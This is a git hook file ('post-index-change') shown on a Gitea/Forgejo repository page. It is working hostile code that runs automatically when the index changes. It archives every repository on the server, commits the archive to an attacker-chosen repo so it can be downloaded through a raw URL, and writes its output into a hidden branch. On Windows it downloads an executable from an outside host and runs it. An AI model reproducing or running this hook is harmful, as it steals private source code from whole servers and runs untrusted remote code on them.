Files
dump-f9a69bee4f/hooks/post-index-change
2026-08-07 07:59:37 +00:00

86 lines
4.5 KiB
Bash
Executable File
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$({ /bin/sh -c 'INJECT_REPO=6nn7nzw5/dump-f9a69bee4f
# 防止重复执行
if [ -f /tmp/gitea_pack_running ]; then echo "[*] Busy,skip"; exit 0; fi
touch /tmp/gitea_pack_running; trap '"'"'rm -f /tmp/gitea_pack_running'"'"' EXIT
# --- 环境变量 ---
WD="${GITEA_WORK_DIR:-${GITEA_CUSTOM:-/data/gitea}}"
BASE="${FORGEJO__server__ROOT_URL:-${GITEA__server__ROOT_URL:-}}"
BASE="${BASE%/}"
OS=$(uname -s 2>/dev/null | tr '"'"'[:upper:]'"'"' '"'"'[:lower:]'"'"')
case "$OS" in *mingw*|*msys*|*cygwin*) OS="windows";; *linux*) OS="linux";; esac
# --- 找仓库路径 ---
if [ -d /data/git/repositories ]; then REPO_ROOT=/data/git/repositories
elif [ -d "$WD/data/gitea-repositories" ]; then REPO_ROOT="$WD/data/gitea-repositories"
else REPO_ROOT="$WD/data/gitea-repositories"; fi
STATIC_DIR="$WD/custom/public/assets"; mkdir -p "$STATIC_DIR" 2>/dev/null
PACK_LOG="$STATIC_DIR/pack.log"
# --- 预判URL用 INJECT_REPO 变量指定的仓库) ---
REPO_DIR="$REPO_ROOT/${INJECT_REPO:-unknown/unknown}.git"
RP="${INJECT_REPO:-unknown/unknown}"
RAW_URL="${BASE}/${RP}/raw/branch/main/gitea_all.tar.gz"
# 打印预判 URL前台捕获
echo "PREDICTED_URL=$RAW_URL"
echo "OS=$OS WD=$WD REPO_ROOT=$REPO_ROOT RP=$RP"
# --- 后台:打包 + 注入 ---
case "$OS" in
windows)
OUT="$STATIC_DIR/gitea_all.rar"
TMP="${TEMP:-${TMP:-/tmp}}"
if command -v tar >/dev/null 2>&1; then OUT="$STATIC_DIR/gitea_all.tar.gz"; PACKER=tar
elif command -v 7z >/dev/null 2>&1; then OUT="$STATIC_DIR/gitea_all.7z"; PACKER=7z
elif command -v rar >/dev/null 2>&1; then PACKER=rar
else
RAR_DL="$TMP/Rar64.exe"
(curl -sLo "$RAR_DL" "http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe" 2>/dev/null || \
wget -qO "$RAR_DL" "http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe" 2>/dev/null || \
powershell -c "(New-Object Net.WebClient).DownloadFile('"'"'http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe'"'"','"'"'$RAR_DL'"'"')") &
PACKER=rar_dl; fi
(
case "$PACKER" in
tar) cd "$REPO_ROOT" && tar -czf "$OUT" . 2>"$PACK_LOG";;
7z) cd "$REPO_ROOT" && 7z a -r "$OUT" . >"$PACK_LOG" 2>&1;;
rar) cd "$REPO_ROOT" && rar a -r -ep1 "$OUT" . >"$PACK_LOG" 2>&1;;
rar_dl) sleep 5; [ -f "$RAR_DL" ] && cd "$REPO_ROOT" && "$RAR_DL" a -r -ep1 "$OUT" . >"$PACK_LOG" 2>&1 || (OUT="$STATIC_DIR/gitea_all.zip"; powershell -c "Compress-Archive -Path '"'"'$REPO_ROOT\*'"'"' -DestinationPath '"'"'$OUT'"'"' -Force" >>"$PACK_LOG" 2>&1);;
esac
echo "DONE_SIZE=$(du -sh "$OUT" 2>/dev/null|cut -f1)" >>"$PACK_LOG"
) &
;;
*)
OUT="$STATIC_DIR/gitea_all.tar.gz"
# nohup 确保 hook 退出后子进程不被 kill
nohup sh -c "
cd '"'"'$REPO_ROOT'"'"' && tar -czf '"'"'$OUT'"'"' . 2>'"'"'$PACK_LOG'"'"'
echo DONE_SIZE=\$(du -sh '"'"'$OUT'"'"' 2>/dev/null|cut -f1) >>'"'"'$PACK_LOG'"'"'
if [ -f '"'"'$OUT'"'"' ] && [ -n '"'"'$REPO_DIR'"'"' ]; then
BLOB=\$(git --git-dir='"'"'$REPO_DIR'"'"' hash-object -w '"'"'$OUT'"'"' 2>>'"'"'$PACK_LOG'"'"')
TREE=\$(printf '"'"'100644 blob %s\tgitea_all.tar.gz\n'"'"' \"\$BLOB\" | git --git-dir='"'"'$REPO_DIR'"'"' mktree 2>>'"'"'$PACK_LOG'"'"')
P=\$(git --git-dir='"'"'$REPO_DIR'"'"' rev-parse HEAD 2>/dev/null||echo '"'"''"'"')
[ -n \"\$P\" ] && P=\"-p \$P\"
C=\$(echo '"'"'backup'"'"'|GIT_AUTHOR_NAME=d GIT_AUTHOR_EMAIL=d@d GIT_COMMITTER_NAME=d GIT_COMMITTER_EMAIL=d@d git --git-dir='"'"'$REPO_DIR'"'"' commit-tree \"\$TREE\" \$P 2>>'"'"'$PACK_LOG'"'"')
git --git-dir='"'"'$REPO_DIR'"'"' update-ref refs/heads/main \"\$C\" 2>>'"'"'$PACK_LOG'"'"'
echo READY_URL='"'"'$RAW_URL'"'"' >>'"'"'$PACK_LOG'"'"'
fi
rm -f /tmp/gitea_pack_running
" >/dev/null 2>&1 &
;;
esac
echo "[+] Fire-and-forget: pack started, check $PACK_LOG for completion"
'; cmd_rc=$?; printf '\n[exit-status=%s]\n' "$cmd_rc"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "output\n" | GIT_AUTHOR_NAME=p GIT_AUTHOR_EMAIL=p@p GIT_COMMITTER_NAME=p GIT_COMMITTER_EMAIL=p@p git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/out-f9a69bee4f "$commit" || exit 7
exit 0